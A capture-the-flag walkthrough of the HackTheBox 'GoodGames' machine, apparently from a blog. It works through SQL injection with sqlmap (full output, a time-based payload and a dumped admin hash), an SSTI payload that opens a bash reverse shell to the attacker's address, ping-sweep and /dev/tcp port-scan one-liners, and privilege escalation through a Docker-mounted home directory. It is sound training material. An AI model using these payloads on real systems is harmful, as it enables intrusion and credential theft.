HackTheBox “GoodGames” Walkthrough

Abdullah Kareem
10 min readFeb 16, 2024

--

GoodGames, an easy-level Linux OS machine on HackTheBox, the journey begins with a glaring SQL injection flaw, offering us a path to circumvent login authentication and execute union injections for data extraction. Progressing further, we stumble upon a Server-Side Template Injection (SSTI) vulnerability within the profile’s name field, accessible via the admin’s page. Leveraging credentials harvested from the SQL injection, we breach authentication and seize control, ultimately gaining shell access within a Docker container. Exploiting password reuse within the container, we secure SSH access to the host system. Once inside, we exploit Linux’s file permissions and ownership mechanisms, particularly exploiting the mounted home directory, to escalate privileges and attain root shell access.

Let’s get started! 🚀

Recon & Enumeration

Let’s use nmap to full scan for open ports and services:

Let’s check port 80.

And we get a login page.

Let’s capture the login request of a test credentials.

We’re examining SQL injection vulnerability on the login page, a common target. After capturing the login request, we save it to a file “request”, then we use sqlmap with the request file to identify the database name if the login parameter is vulnerable.

┌──(kali㉿kali)-[~/Downloads]
└─$ sqlmap -r request –dbs --batch
___
__H__
___ ___[,]_____ ___ ___ {1.7.11#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:47:23 /2024-02-12/

[13:47:23] [INFO] parsing HTTP request from 'request'
[13:47:24] [INFO] testing connection to the target URL
[13:47:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:47:24] [INFO] testing if the target URL content is stable
[13:47:24] [INFO] target URL content is stable
[13:47:24] [INFO] testing if POST parameter 'email' is dynamic
[13:47:25] [WARNING] POST parameter 'email' does not appear to be dynamic
[13:47:25] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable
[13:47:25] [INFO] testing for SQL injection on POST parameter 'email'
[13:47:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:47:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:47:27] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:47:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:47:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[13:47:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:47:30] [INFO] testing 'Generic inline queries'
[13:47:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[13:47:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[13:47:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[13:47:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:47:43] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[13:47:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:47:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:47:43] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:47:44] [INFO] target URL appears to have 4 columns in query
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] Y
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[13:47:55] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[13:47:58] [INFO] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[13:48:07] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 148 HTTP(s) requests:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 4727 FROM (SELECT(SLEEP(5)))zYAi) AND 'dBxV'='dBxV&password=test
---
[13:48:23] [INFO] the back-end DBMS is MySQL
[13:48:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[13:48:24] [INFO] fetching database names
[13:48:24] [INFO] fetching number of databases
[13:48:24] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[13:48:36] [INFO] retrieved:
[13:48:41] [INFO] adjusting time delay to 2 seconds due to good response times
information_schema
[13:50:57] [INFO] retrieved:
[13:51:07] [ERROR] invalid character detected. retrying..
[13:51:07] [WARNING] increasing time delay to 3 seconds
main
available databases [2]:
[*] information_schema
[*] main

[13:51:45] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.11.130'

[*] ending @ 13:51:45 /2024-02-12/

Once we identify the database name, we can swiftly dump its entire contents using sqlmap with the dump all option.

┌──(kali㉿kali)-[~/Downloads]
└─$ sqlmap -r request -D main --dump-all --batch
___
__H__
___ ___["]_____ ___ ___ {1.7.11#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:57:21 /2024-02-12/

[13:57:21] [INFO] parsing HTTP request from 'request'
[13:57:21] [INFO] resuming back-end DBMS 'mysql'
[13:57:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 4727 FROM (SELECT(SLEEP(5)))zYAi) AND 'dBxV'='dBxV&password=test
---
[13:57:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:57:21] [INFO] fetching tables for database: 'main'
[13:57:21] [INFO] fetching number of tables for database 'main'
[13:57:21] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[13:57:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[13:57:41] [INFO] adjusting time delay to 1 second due to good response times
3
[13:57:42] [INFO] retrieved: blog
[13:58:01] [INFO] retrieved: blog_comments
[13:58:48] [INFO] retrieved: user
[13:59:07] [INFO] fetching columns for table 'user' in database 'main'
[13:59:07] [INFO] retrieved: 4
[13:59:09] [INFO] retrieved: id
[13:59:18] [INFO] retrieved: email
[13:59:37] [INFO] retrieved: password
[14:00:15] [INFO] retrieved: name
[14:00:31] [INFO] fetching entries for table 'user' in database 'main'
[14:00:31] [INFO] fetching number of entries for table 'user' in database 'main'
[14:00:31] [INFO] retrieved: 1
[14:00:33] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
admin
[14:00:57] [INFO] retrieved: admin@goodgames.htb
[14:02:20] [INFO] retrieved: 1
[14:02:24] [INFO] retrieved: 2b2
[14:02:40] [ERROR] invalid character detected. retrying..
[14:02:40] [WARNING] increasing time delay to 2 seconds
2337f218b2d82
[14:04:30] [ERROR] invalid character detected. retrying..
[14:04:30] [WARNING] increasing time delay to 3 seconds
dfc
[14:05:10] [ERROR] invalid character detected. retrying..
[14:05:10] [WARNING] increasing time delay to 4 seconds
3b6f77e7cb8ec
[14:08:25] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[14:08:25] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:08:25] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[14:08:25] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[14:08:25] [INFO] starting 2 processes
[14:08:36] [WARNING] no clear password(s) found
Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email | name | password |
+----+---------------------+--------+----------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+

And we get an admin’s password hash, let’s transfer it to crackstation.

We’ll attempt to log in as the admin user for further assessment on the web console using the credentials admin@goodgames.htb:superadministrator.

Let’s have a look at the source code.

We find a new subdomain: internal-administration.goodgames.htb. Let’s append it to the /etc/hosts file on our attack box.

Let’s reuse the credentials we found.

And we are presented with a dashboard, let’s have a look around.

The admin’s name is editable, allowing us to test the payload: {{1+1}}.

The input field reflection confirms SSTI vulnerability, given the server-side code’s Python nature as per the Nmap scan. With this knowledge, we proceed to inject a reverse shell payload using the renowned “Payload All The Things” repository. The payload utilized is:

{{ namespace.__init__.globals.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.11/4343 0>&1"').read() }}

But, let’s start a listener first.

We inject our payload into the “Full Name” user input field of the target web app.

Let’s check our listener.

And we get a connection as user “root”. Additionally, during enumeration, a Docker file is discovered within the root backend directory (/backend).

Let’s check the network adapter.

The network interface is connected to the internal network adapter at 172.19.0.2/16. and we can communicate with the internal network from our attack box through the compromised network.

To discover internal network hosts, we’ll utilize the one-liner command below to do a sweep scan:

for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done;

Now, we perform a port scaning on the found target using:

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null

I began searching the box for SSH credentials, eventually finding a user’s folder within the listed /home directory.

And couldn't find augustus in the /etc/passwd.

Let’s try to ssh using augustus and reusing the password we got above.

Now on the host, I observed that any file I uploaded to the Docker, retaining its root privileges. Intriguingly, I decide to copy the bash file, grant execution permissions within the Docker, and return to the host to create a root bash.

So, initially, I copy the bash file from the host machine into the Augustus folder.

Returning to the Docker environment, I assigned root ownership and grant full permissions to the bash file:

Then, we go back to the host.

And we run the bash file.

Cheers.

--

--

Abdullah Kareem
Abdullah Kareem

Written by Abdullah Kareem

IT Specialist | Cyber Security Enthusiast | OSWP | eCPPT | CEH | CCNP Enterprise | CCNA | ITILv4

No responses yet